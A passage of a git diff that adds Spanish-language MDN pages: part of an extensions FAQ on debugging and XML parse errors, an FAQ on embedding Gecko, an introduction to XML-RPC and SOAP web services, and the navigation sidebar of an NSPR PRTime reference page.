+<p>Puedes usar las funciones <a href="/es/DOM/window.alert" title="es/DOM/window.alert">alert()</a> o <a href="/es/DOM/window.dump" title="es/DOM/window.dump">dump()</a> o <a href="/es/NsIConsoleService" title="es/NsIConsoleService">nsIConsoleService</a>.</p>
+<h3 id=".C2.BFPor_qu.C3.A9_no_se_ejecuta_correctamente_mi_script.3F">¿Por qué no se ejecuta correctamente mi script?</h3>
+<p>Si tu script no hace lo que debiera, lo primero que debes hacer es comprobar  la consola de JavaScript (lee <a href="#.C2.BFC.C3.B3mo_puedo_encontrar_los_errores_de_mi_c.C3.B3digo.3F">más arriba</a>).</p>
+<p>Un error muy común es intentar acceder al DOM de una ventana antes de que haya terminado de cargarse. Esto ocurre si colocas el código de inicialización fuera de cualquier función (en el programa principal). La solución es usar un <em>listener</em> del evento <code>load</code> que retrase la ejecución de ese código hasta que la ventana haya terminado de cargarse:</p>
+<pre class="eval">function exampleBrowserStartup(event)
+{
+  // place your startup code here
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+</pre>
+<h4 id="El_acceso_al_documento_de_la_p.C3.A1gina_web_no_funciona">El acceso al documento de la página web no funciona</h4>
+<p>Para acceder al documento de la página web en uso desde un browser.xul, debes usar <code>content.document</code>, en lugar de simplemente <code>document</code> (que es el documento de la ventana del propio navegador). Lee <a href="/es/Working_with_windows_in_chrome_code#Content_windows" title="es/Working_with_windows_in_chrome_code#Content_windows">Trabajando con ventanas en código chrome</a> para más información.</p>
+<p>Al mismo tiempo, la configuración por defecto de <a href="/es/XPCNativeWrapper" title="es/XPCNativeWrapper">XPCNativeWrapper</a> impide el acceso a objetos definidos por script en la página web y algunas otras cosas.</p>
+<h4 id="Tengo_un_error_parseando_el_XML.2C_y_el_fichero_parece_correcto">Tengo un error parseando el XML, y el fichero parece correcto</h4>
+<p>Un motivo muy frecuente de errores de parseo (resaltados en &lt;font color="red"&gt;rojo&lt;/font&gt; con texto como este: &lt;font color="red"&gt;-------------^&lt;/font&gt; subrayándolos) es la presencia en tu script de un carácter o valor de atributo que tiene un significado especial en XML. Por ejemplo:</p>
+<pre class="eval">&lt;button oncommand="window.open('<span>http://example.com/</span>q?param1=value<strong>&amp;param2</strong>=val2')"/&gt;
+</pre>
+<p>o</p>
+<pre class="eval">&lt;script&gt;function lesser(a,b) { return <strong>a &lt; b</strong> ? a : b; }&lt;/script&gt;
+</pre>
+<p>El problema puede resolverse de distintas formas:</p>
+<ol> <li>Escribir el caràcter con la representación apropiada en XML. (Por ejemplo: "&amp;" -&gt; "&amp;amp;", "&lt;" -&gt; "&amp;lt;")</li> <li>(En caso de tratarse de un nodo de texto, como un script) etiquetar el texto con CDATA: <pre>&lt;script&gt;&lt;![CDATA[
+   function lesser(a,b) {
+     return a &lt; b ? a : b;
+   }
+ ]]&gt;&lt;/script&gt;</pre> </li> <li>Colocar el script en un fichero separado, e incluirlo usando: <pre>&lt;script type="application/x-javascript" src="our.js"/&gt;</pre> </li>
+</ol>
+<h3 id="C.C3.B3digo_de_ejemplo">Código de ejemplo</h3>
+<p>La forma más sencilla de descubrir cómo codificar lo que necesitas, es buscar una extensión (o una parte del propio Mozilla) que lo haga y mirar su código. (Los fichero XPI y JAR están comprimidos en formato ZIP).</p>
+<p>También puedes encontrar alguna documentación. Busca en <a href="/Special:Tags?tag=Extensiones&amp;language=es" title="Special:Tags?tag=Extensiones&amp;language=es">Artículos sobre extensiones en MDC</a> y <a class="external" href="http://kb.mozillazine.org/Category:Example_code">Página de ejemplos de código en MozillaZine</a>.</p>
+<h3 id=".C2.BFD.C3.B3nde_puedo_encontrar_m.C3.A1s_ayuda.3F">¿Dónde puedo encontrar más ayuda?</h3>
+<p>Puedes buscar más información en la <a href="/es/Extensiones/Comunidad" title="es/Extensiones/Comunidad">página de la Comunidad</a> y en la <a href="/Special:Tags?tag=Extensiones:Herramientas&amp;language=es" title="Special:Tags?tag=Extensiones:Herramientas&amp;language=es">categoría Herramientas</a>.</p>
+<p>Antes de pedir ayuda, asegúrate de configurar las <a href="#Depuraci.C3.B3n">preferencias de depuración</a> y <a href="#.C2.BFC.C3.B3mo_puedo_encontrar_los_errores_de_mi_c.C3.B3digo.3F">comprobar la consola de JavaScript</a>. Tampoco olvides hacer al menos una búsqueda por internet antes de preguntar, y... ¡leer esta lista de preguntas!</p>
+<p> </p>
+
+<p>{{ languages( { "de": "de/Erweiterungen_FAQ", "en": "en/Extension_Frequently_Asked_Questions", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions", "pl": "pl/Cz\u0119sto_zadawane_pytania_dotycz\u0105ce_rozszerze\u0144", "ru": "ru/FAQ_\u043f\u043e_\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c" } ) }}</p>
diff --git a/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/index.html b/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/index.html
new file mode 100644
index 0000000000..77496f3178
--- /dev/null
+++ b/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/index.html
@@ -0,0 +1,5 @@
+---
+title: Preguntas frecuentes sobre incrustación en Mozilla
+slug: Preguntas_frecuentes_sobre_incrustación_en_Mozilla
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/introducción_a_gecko_e_inscrustación/index.html b/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/introducción_a_gecko_e_inscrustación/index.html
new file mode 100644
index 0000000000..9240658758
--- /dev/null
+++ b/files/es/preguntas_frecuentes_sobre_incrustación_en_mozilla/introducción_a_gecko_e_inscrustación/index.html
@@ -0,0 +1,41 @@
+---
+title: Introducción a Gecko e inscrustación
+slug: >-
+  Preguntas_frecuentes_sobre_incrustación_en_Mozilla/Introducción_a_Gecko_e_inscrustación
+tags:
+  - Incrustando_Mozilla
+  - Todas_las_Categorías
+---
+<p>
+</p>
+<h2 id="Secci.C3.B3n_1:_Introducci.C3.B3n_a_Gecko_e_incrustaci.C3.B3n"> Sección 1: Introducción a Gecko e incrustación </h2>
+<h3 id=".C2.BFQu.C3.A9_es_Gecko.3F"> ¿Qué es Gecko? </h3>
+<p>Gecko es el motor del navegador, gestión de redes, analizadores, modelos de diseño, chrome y las otras tecnologías sobre las que Mozilla y otras apliaciones son construidas. En otras palabras, todo aquello queno es específico de la aplicación.
+</p><p>Gecko tiene una ligeramente desactualizada <a class="external" href="http://www.mozilla.org/newlayout/faq.html">sección de preguntas frecuentes</a> of its own.
+</p>
+<h3 id=".C2.BFQu.C3.A9_es_Mozilla.3F"> ¿Qué es Mozilla? </h3>
+<p>Mozilla es una aplicación multimplataforma formada por un navegador web,un editor de páginas web un gesator de correo /lector de noticiasn desarrollado sobre Gecko.
+</p>
+<h3 id=".C2.BFQu.C3.A9_es_the_GRE.3F"> ¿Qué es the GRE? </h3>
+<p>El GRE (anteriormente conocido como MRE) es <a href="es/GRE">Gecko Runtime Environment</a> un entorno de ejecución que muchas aplicaciones pueden compartir. Actualmente se ha esta desarrollando como un proyecto independiente llamado <a href="es/XULRunner">XULRunner</a>.
+</p>
+<h3 id=".C2.BFQu.C3.A9_es_XPCOM.3F"> ¿Qué es XPCOM? </h3>
+<p>XPCOM es una <i>tecnología de objetos</i> (similar al COM de MS Windows pero multiplataforma) cuya misión es to unificar la creación, el control y la eliminación de objetos y otros datosbajo Mozilla. El núcleo XPCOM es la interfaz nsISupports, que proporciona marco de referencia de conteo y un entorno de ejecución de búsquedas para capacidades. Todos los objetos XPCOM incluyen la interfaz nsISupports, además de las interfaces específicas de cadad objeto. Finalmente, XPCOM incluye una capa lenguaje-independiente llamada XPConnect que permite que el desarrrollo de objetos sea escrito en cualquier lenguage compatible y sean llamados desde cualquier lenguaje compatible.
+</p><p>Puede encontrar más información <a class="external" href="http://www.mozilla.org/projects/xpcom/">aquí</a>.
+</p>
+<h3 id=".C2.BFQu.C3.A9_significa_Gecko_.E2.80.9Cincrustado.E2.80.9D.3F"> ¿Qué significa Gecko “incrustado”? </h3>
+<p>Gecko permite a desarrolladores de terceros emplear la misma tecnología que Mozilla usa.. Esto significa que puede incrustar un navegador web dentro de una aplicación de terceros, abrir canales y descargas dentro de los límites de la red, navergar por el DOM y más. Incluso puede construir aplicaciones enteras empleando el chrome.
+</p>
+<h3 id=".C2.BFCuales_son_los_t.C3.A9rminos_de_licencia_para_incrustar_Gecko.3F"> ¿Cuales son los términos de licencia para incrustar Gecko? </h3>
+<p>Los mismos que para el resto de Mozilla. Mire <a class="external" href="http://www.mozilla.org/MPL/">página MPL</a> fpara más información.
+</p>
+<h3 id=".C2.BFHay_disponible_un_SDK.3F"> ¿Hay disponible un SDK? </h3>
+<p>Estamos trabajando lentamente para crear un SDK. De momento le recomendamos que <a class="external" href="http://www.mozilla.org/source.html">obtenga el código fuente</a> y compile desde ahí.
+</p><p>Las versiones de desarrollo del SDK para Win32 pueden ser encontradas <a class="link-ftp" href="ftp://ftp.mozilla.org/pub/mozilla.org/mozilla/nightly/latest-trunk/gecko-sdk-i586-pc-msvc.zip">aquí</a>.
+</p>
+<h3 id=".C2.BFCu.C3.A1l_es_la_.C3.BAltima_versi.C3.B3n.3F_.C2.BFQue_versi.C3.B3n_deber.C3.ADa_usar.3F"> ¿Cuál es la última versión? ¿Que versión debería usar? </h3>
+<p>Versiones incrustadas y el código fuente se generan con frecuencia y pueden descargarse <a class="link-ftp" href="ftp://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">aquí</a>. Si desea estabilidad se recomienda emplear versiones Mozilla de la rama 1.7.x.
+</p>
+<h3 id=".C2.BFQui.C3.A9n_est.C3.A1_usando_Gecko_actualmente.3F"> ¿Quién está usando Gecko actualmente? </h3>
+<p>Mire <a class="external" href="http://www.mozilla.org/projects/embedding/examples/">aquí</a> para ver la creciente lista de programas que incrustan Gecko.
+</p>
diff --git a/files/es/principios_básicos_de_los_servicios_web/index.html b/files/es/principios_básicos_de_los_servicios_web/index.html
new file mode 100644
index 0000000000..a5e4ca392c
--- /dev/null
+++ b/files/es/principios_básicos_de_los_servicios_web/index.html
@@ -0,0 +1,36 @@
+---
+title: Principios básicos de los servicios Web
+slug: Principios_básicos_de_los_servicios_Web
+tags:
+  - SOAP
+  - Servicios_Web_XML
+  - Todas_las_Categorías
+  - XML
+  - XML-RPC
+---
+<p>
+</p><p><span class="comment">Summary: Un tema candente en la Web últimamente son los servicios Web. Esta pequeña guía le permitirá aprender mas acerca de los servicios Web.</span>
+</p>
+<h3 id="Los_fundamentos"> Los fundamentos </h3>
+<p>Los servicios Web no son realmente nada nuevo, y actualmente, si ha utilizado RSS o Atom para leer noticias desde un sitio web, tiene una idea de como funciona un servicio Web.
+</p><p>Los servicios Web intercambian datos desde un servidor al cliente, utilizando el formato XML para enviar las peticiones, de modo que tanto el servidor como el cliente puede entenderse (<a href="es/Introducci%c3%b3n_a_XML">Introducción a XML</a>).
+</p><p>Una mejor forma de entender un servicio Web es compararlo con un formulario HTML (en PHP o ASP) para postear y enviar datos. Ambos, el servicio Web y el formulario, reciben y envían peticiones. La única diferencia es que un servicio Web utiliza XML.
+</p>
+<h3 id="Ejemplos_de_servicios_Web_en_acci.C3.B3n"> Ejemplos de servicios Web en acción </h3>
+<p>Como se dijo anteriormente, RSS y los alimentadores Atom son simplemente un ejemplo de como funciona un servicio Web, más comúnmente, XML-RPC o SOAP son también utilizados para realizar la comunicación entre el servidor y el cliente.
+</p>
+<h3 id="Introducci.C3.B3n_a_XML-RPC"> Introducción a XML-RPC </h3>
+<p>XML-RPC es un tipo de servicio Web que ha existido desde 1998 y aunque no es un estándar oficial <a class="external" href="http://www.w3.org/">W3C</a>,es utilizado extensamente. XML-RPC fue desarrollado por Useful Inc, junto con Microsoft.
+</p>
+<h3 id="Introducci.C3.B3n_a__SOAP"> Introducción a SOAP </h3>
+<p>SOAP, un servicio Web, está listado como un estándar <a class="external" href="http://www.w3.org/">W3C</a>, y es similar de diversas formas a XML_RPC. SOAP está respaldado por IBM, así como por Microsoft.
+</p>
+<h3 id=".C2.BFSOAP_0_XML-RPC.3F"> ¿SOAP 0 XML-RPC? </h3>
+<p>Brevemente, SOAP fue pensado para rellenar los huecos de XML-RPC. Por ejemplo, es mucho más fácil enviar un array multi-dimensional con SOAP que con XML-RPC. SOAP tiene más funcionalidad que XML-RPC, aunque XML-RPC también tiene su propio uso.
+</p>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_sobre_el_documento"> Información sobre el documento </h3>
+<ul><li> Autor(es): Justin G. Shreve
+</li><li> Fecha de la última actualización : 19 de Mayo de 2005
+</li></ul>
+</div>
diff --git a/files/es/prtime/index.html b/files/es/prtime/index.html
new file mode 100644
index 0000000000..1292d61054
--- /dev/null
+++ b/files/es/prtime/index.html
@@ -0,0 +1,432 @@
+---
+title: PRTime
+slug: PRTime
+translation_of: Mozilla/Projects/NSPR/Reference/PRTime
+---
+<p>
+</p><p><br>
+</p><section id="Quick_Links">
+<ol>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR">NSPR</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/About_NSPR">About NSPR</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference">NSPR API Reference</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/NSPR_build_instructions">NSPR Build Instruction</a></li>
+  <li><a href="/es/docs/Mozilla/Projects/NSPR/Release_process">NSPR Release Process</a></li>
+  <li class="toggle">
+    <details>
+      <summary>Introduction to NSPR</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Naming_Conventions">NSPR Naming Conventions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Threads">NSPR Threads</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Thread_Schedoling">Thread Scheduling</a>
+              <ol>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Setting_Thread_Priorities">Setting Thread Priorities</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Preempting_Threads">Preempting Threads</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Interrupting_Threads">Interrupting Threads</a></li>
+              </ol>
+            </li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Thread_Synchronization">NSPR Thread Synchronization</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Locks_and_Monitors">Locks and Monitors</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#Condition_Variables">Condition Variables</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Introduction_to_NSPR#NSPR_Sample_Code">NSPR Sample Code</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>NSPR Types</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Calling_Convention_Types">Calling Convention Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Algebraic_Types">Algebraic Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#8-.2C_16-.2C_and_32-bit_Integer_Types">8-, 16-, and 32-bit Integer Types</a>
+              <ol>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Signed_Integers">Signed Integers</a></li>
+                <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Unsigned_Integers">Unsigned Integers</a></li>
+              </ol>
+            </li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#64-bit_Integer_Types">64-bit Integer Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Floating-Point_Number_Type">Floating-Point Integer Type</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Native_OS_Integer_Types">Native OS Integer Types</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Miscellaneous_Types">Miscellaneous Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Size_Type">Size Type</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Pointer_Difference_Types">Pointer Difference Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Boolean_Types">Boolean Types</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Types#Status_Type_for_Return_Values">Status Type for Return Values</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Threads</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Threading_Types_and_Constants">Threading Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Threading_Functions">Threading Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Creating.2C_Joining.2C_and_Identifying_Threads">Creating, Joining, and Identifying Threads</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Thread_Priorities">Controlling Thread Priorities</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Controlling_Per-Thread_Private_Data">Controlling Per-Thread Private Data</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Interrupting_and_Yielding">Interrupting and Yielding</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Setting_Global_Thread_Concurrency">Setting Global Thread Concurrency</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Threads#Getting_a_Thread.27s_Scope">Getting a Thread's Scope</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Process Initialization</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Identity_and_Versioning">Identity and Versioning</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Name_and_Version_Constants">Name and Version Constants</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Initialization_and_Cleanup">Initialization and Cleanup</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Initialization#Module_Initialization">Module Initialization</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Locks</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Locks#Lock_Type">Lock Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Locks#Lock_Functions">Lock Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Condition Variables</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Type">Condition Variable Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Condition_Variables#Condition_Variable_Functions">Condition Variable Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Monitors</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Type">Monitor Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Monitors#Monitor_Functions">Monitor Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Cached Monitors</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Cached_Monitors#Cached_Monitor_Functions">Cached Monitor Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>I/O Types</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Directory_Type">Directory Type</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Descriptor_Types">File Descriptor Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#File_Info_Types">File Info Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Network_Address_Types">Network Address Types</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Types_Used_with_Socket_Options_Functions">Types Used with Socket Options Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Type_Used_with_Memory-Mapped_I.2FO">Type Used with Memory-Mapped I/O</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Types#Offset_Interpretation_for_Seek_Functions">Offset Interpretation for Seek Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>I/O Functions</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Operate_on_Pathnames">Functions that Operate on Pathnames</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Functions_that_Act_on_File_Descriptors">Functions that Act on File Descriptors</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Directory_I.2FO_Functions">Directory I/O Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Socket_Manipolation_Functions">Socket Manipolation Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Converting_Between_Host_and_Network_Addresses">Converting Between Host and Network Addresses</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Memory-Mapped_I.2FO_Functions">Memory-Mapped I/O Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Anonymous_Pipe_Function">Anonymous Pipe Function</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Polling_Functions">Polling Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Pollable_Events">Pollable Events</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/I_O_Functions#Manipulating_Layers">Manipulating Layers</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Network Addresses</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Types_and_Constants">Network Address Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Network_Addresses#Network_Address_Functions">Network Address Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Atomic Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicIncrement">PR_AtomicIncrement</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicDecrement">PR_AtomicDecrement</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_AtomicSet">PR_AtomicSet</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Interval Timing</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Time_Type_and_Constants">Interval Time Type and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Interval_Timing#Interval_Functions">Interval Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details open>
+      <summary>Date and Time</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Types_and_Constants">Types and Constants</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Time_Parameter_Callback_Functions">Time Parameter Callback Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Date_and_Time#Functions">Functions</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Memory Management Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Functions">Memory Allocation Functions</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Memory_Management_Operations#Memory_Allocation_Macros">Memory Allocation Macros</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>String Operations</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strlen">PL_strlen</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strcpy">PL_strcpy</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strdup">PL_strdup</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PL_strfree">PL_strfree</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Floating Point Number to String Conversion</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_strtod">PR_strtod</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_dtoa">PR_dtoa</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_cnvtf">PR_cnvtf</a></li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Linked Lists</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Types">Linked List Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRCList">PRCList</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Linked_Lists#Linked_List_Macros">Linked List Macros</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INIT_CLIST">PR_INIT_CLIST</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INIT_STATIC_CLIST">PR_INIT_STATIC_CLIST</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_APPEND_LINK">PR_APPEND_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_LINK">PR_INSERT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NEXT_LINK">PR_NEXT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_PREV_LINK">PR_PREV_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_REMOVE_LINK">PR_REMOVE_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_REMOVE_AND_INIT_LINK">PR_REMOVE_AND_INIT_LINK</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_BEFORE">PR_INSERT_BEFORE</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_INSERT_AFTER">PR_INSERT_AFTER</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Dynamic Library Linking</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Types">Library Linking Types</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLibrary">PRLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRStaticLinkTable">PRStaticLinkTable</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Library_Linking_Functions">Library Linking Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLibraryPath">PR_SetLibraryPath</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_GetLibraryPath">PR_GetLibraryPath</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_GetLibraryName">PR_GetLibraryName</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FreeLibraryName">PR_FreeLibraryName</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LoadLibrary">PR_LoadLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_UnloadLibrary">PR_UnloadLibrary</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FindSymbol">PR_FindSymbol</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_FindSymbolAndLibrary">PR_FindSymbolAndLibrary</a></li>
